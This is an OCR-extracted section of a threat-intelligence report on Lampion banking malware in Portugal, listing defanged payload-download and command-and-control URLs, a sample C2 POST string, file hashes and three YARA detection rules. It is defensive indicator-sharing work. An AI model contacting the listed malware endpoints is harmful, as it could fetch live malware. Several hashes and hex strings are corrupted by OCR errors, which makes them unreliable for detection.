Attachment Interception Authentication Discovery 3 Hash Collection Over Used Port
Interception Command
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Indicators of Compromise (I0OCs)

—_

. URLs

2. rebrand[.]ly/mmvk367?
=NOWAUVJBNOWAUVJBNOWAUVJBNOWAUVJIBNOWAUVJIBNOWAUVJIBNOWAUVJIBNOWAUVIBNOWAUVJIBNOWAUVJB

. hxxp[:]//100.26.189.49/PY/App.php?=5wzpz2e7xglkzmh

. hxxps[:)//fucktheworld.s3.us-east-2.amazonaws.com/0.zip

. hxxps[:]//sdghsuidhoidoghsdc19c.s3.us-east-2.amazonaws.com/P-19-2.dl|

. hxxp[:]//18.219.52.4/PT/VaiPostaProPai.php

. Hashes

. €7bdce5505ee263530dea04c2fdc661f (FacturaNovembro-4492154-2019-10_8.zip)
9. deb80a47496857e24c0bc57873b25707 (Politica de Protecao de Dados - ST-8)

10. 51fbca86a499c55ce31179fc36e0d889 (FacturaNovembro-4492154-2019-10_8.pdf)
11. 3350e74a4cfa020f9b256194eae25¢12 (FacturaNovembro-4492154-2019-10_8.vbs)

12. 18977¢78983d5e3f59531bd6654ad20f (P-19-2.dIl | P-19.2.exe - Lampion)

13. 76eed98b40db9ad3dc1b10c80e957bal (fREI—EEE H oF ARIIRER)

14. C2

15. hxxp[:]//18.219.52.4/PT/VaiPostaProPai.php

16. hxxp[:]//18.219.52.4/PT/index.php

17. hxxp[:]//18.219.52.4/PT/admin.php

18. hxxp[:]//18.219.52.4/PT/png/pt.png

19. hxxp[:]//18.219.52.4/PT/SO/

20. 18[.]219.52.4/PT/painelADM.php

21. 18[.]219.52.4/PT/painel.php

22. $_POST=&plug=NAO&sowin=Windows%207%20Home%20Premium%20-%206.1%20-%207601

0 N O~ W
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Yara rules

1. rule Lampion_VBS_File_Portugal {

2. meta:

3. description = "Yara rule for Lampion Portugal - December version"

4. author = "SI-LAB - https://seguranca-informatica.pt"

5. last_updated = "2019-12-28"

6. tlp = "white"

7. category = "informational"

8. strings:

9. $lampion_a = {563 65 74 20 76 69 61 64 6f 20 3d 20 63 75 7a 61}
10. $lampion_b = {76 69 61 64 6f 2e 57 69 6e 64 6f 77 53 74 79 6¢}
11. condition:

12. all of ($lampion_*)

13.}

14.

15. import "hash"

16. rule Lampion_DLL_Portugal {

17. meta:

18. description = "Yara rule for Lampion Portugal - December version"
19. author = "SI-LAB - https://seguranca-informatica.pt"

20. last_updated ="2019-12-28"

21. tlp = "white"

22. category = "informational”

23. strings:

24. $lampion_a = {5468 6973 4269 6368 7400 4669 6¢c74 6572}

25. condition:

26. all of ($lampion_*) or

27. hash.md5(0, filesize) == "76eed98b40db9ad3dc1b10c80e957bal"
28.}

29.

30. import "hash"

31. rule Lampion_malware_portugal {

32. meta:

33. description = "Yara rule for Lampion Portugal - December version"
34. author = "SI-LAB - https://seguranca-informatica.pt"

35. last_updated ="2019-12-28"

36. tlp = "white"

37. category = "informational"

38. strings:

39. $lampion_a = {3f 3f 3f 3f 3f 3f 3f 74 61 3f 3f 3f 3f 3f 3f 00}

40.
41.
42.
43.

condition:

all of ($lampion_*) or

hash.md5(0, filesize) == "18977¢78983d5e3f59531bd6654ad20f"
}

All yara files available here.

Yara Retro hunt on two multi-scanners

1
2
3
4
5
6
7
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. 348e3fd080c8002b826be2577ffa3bc64f263aa779c9f8ff88e4642c294¢c4381

. 418dbcf5f8d5ad7e16a0bb48c1e14cb269bf5bd814f0a70c3aa90ce787136047

. 990982736492bfa0b2a39b0fd05959fa92cal3a282e36977a2523b3fe641a4c34

. 54cce7adca859d6bd85779ec7fadfc7eb327f5067d25b1dada722ccdcf108281

. 9e77a03223de62be70afe19961ca8d0b88b46c20c834a5bab30ab3334baa2415
. 07f5932be35a720a74fc10e7ee6011fa2a8ee4c6df7cfoabf06bfdc7bd5ec4al

. 09d44bdae0db9a91b868311857efb45b05f62024a9b68c6977502a4dd729af76
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8.

9.
10.
11.
12.
13.
. fbd0c68e699e9d78da85ab11c7d50af71cb84e6d652f9ab8f8ac657bfb102920
15.
16.
17.
18.
19.
20.
21.
22.
23.
24,
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
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33166f904f6820a1ed22c75ead41102ce62dad0070dd314b899ab76b60a21378
0eb71171482dd5db49bae10f9bf55d7bcbf0b4370f4a86654fac9d3bdc6b20ab
f044d1de37ca8903c7bf6038e465bebc0c1ca2c9c8b53e19e1b8226fa820302f
2e77d53186bd0a1a269864aca2369aae7a2629d1914c77bf6bc69e76aac491e2
7c8c4ab0dd084a7e6e784923f1b125e3b6009f75269331639b120641508f7151
98db1f47e98a007ad5dfe0c5e1c6eb80dd5e171d6f252dda14c628ecf7c3f836

c52c0ae1c558bebeead13f50a9ea27a0ebalc4cdce17901ec3903c7b5e9eadald
5c2e9c¢c3cbcf7da70493da3f6efd6f6199d37ad68030a85303644992fbf12293¢
875cf24a3863f3e379¢c158de11baf5e0c70507ab7{37556ed8704e178ddf66ec
1c1c64cf15b13aa67952830b5d606e7793456ddbf266910056ae16505fc57b0d
ce53debed7256fb71532e0348214356383070d24cc86ac59€943952257611765
f752698342d8dc62ff0e27a065e79c7 1bca87604ef786f838fc8e0513ce97cic
ae9e53806d5287f3e22f4e6549b1286¢c28aa529b1267b4369f9db60529fefbfa
643d400cbdcff21ca2c0b8539f6990e22ababc740ced01f466150e44b669edf5
7922a08982958ac5fal37e3709a6787619777e11af773609fd974095dfdb0f0fa
9d9252149a6db832fd205e4d0d3395cee5c6251f91df9730315ae4b354e839f0
8802e4b1a460d8f8b369928ed6379f800a1053506¢33b3422¢52d4¢c30628b560
de8d3218d1509d255da05f3e3c1846a92d82badddbcebffd5e721256d7635fd5
aad423e2956e0f5b3fabe3bb6ac624c929533acd9f2c93ecd210227a9b13a36f7
8f04e52d69b1bdd7e4d6877ce0841ba8779f7649¢c16712d9d962044b2409b482
bc4ed9ef17e608a4b00ab3b5f0c2cfe956275eb0106a9b5082076ce2c64cfb15
f36406b797ab4f739d0a6add29fdf72289¢70019b5200ebdce78b3d3db0d79dc
8ac60cd9bc9a44e558e840a6bebdd27c73a9ce167a66ci6c8d462e46848fe8a3
29eeba2cbe0f3f6b119ebcc33f23d13964af26ee744419711aa24¢6110c1510a
9a2f575d77cc03afe1230666ed23c1da58dd1644abf02e2487c6cd0db8b2a26d
73edad845ab2ba5aa55ac7757¢8ff19072cba49dc44d811710858e1e42d6763d
33f6daf3ee3b851800b5928b41fc208ac915d5ec2ffb3ebe13490c474c6cef58
edf3b71d1f4e7adae5b58a8f3f865882b5851d3d5e6ef142643eb3ea2066efe
0604586fcea208bcb4350d7dd9d5¢250702f1a0e9ec0d6801b272ace6918d34c
f90ff089745109a3d59f8ba05d33547ae27df08cc269644balad1c9b9fcb782¢
2298b7eebaeb19cd6c9e2f3aeb6377e1cf5aab0d2d3f3102d4d51683c79a91da8
4494da2105572a5ad07bd08110e35045¢c34967306f12a7ea7c91fffc0f79f599
113232ed76536¢2255f972f4bb2e3d2aafd01b643da83a04eb80f1809729a898

Thank you to all who have contributed:

— Corsin Camichel @cocaman
— David Montenegro @Cryptolnsane

Pedro Tavares
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Read more here.
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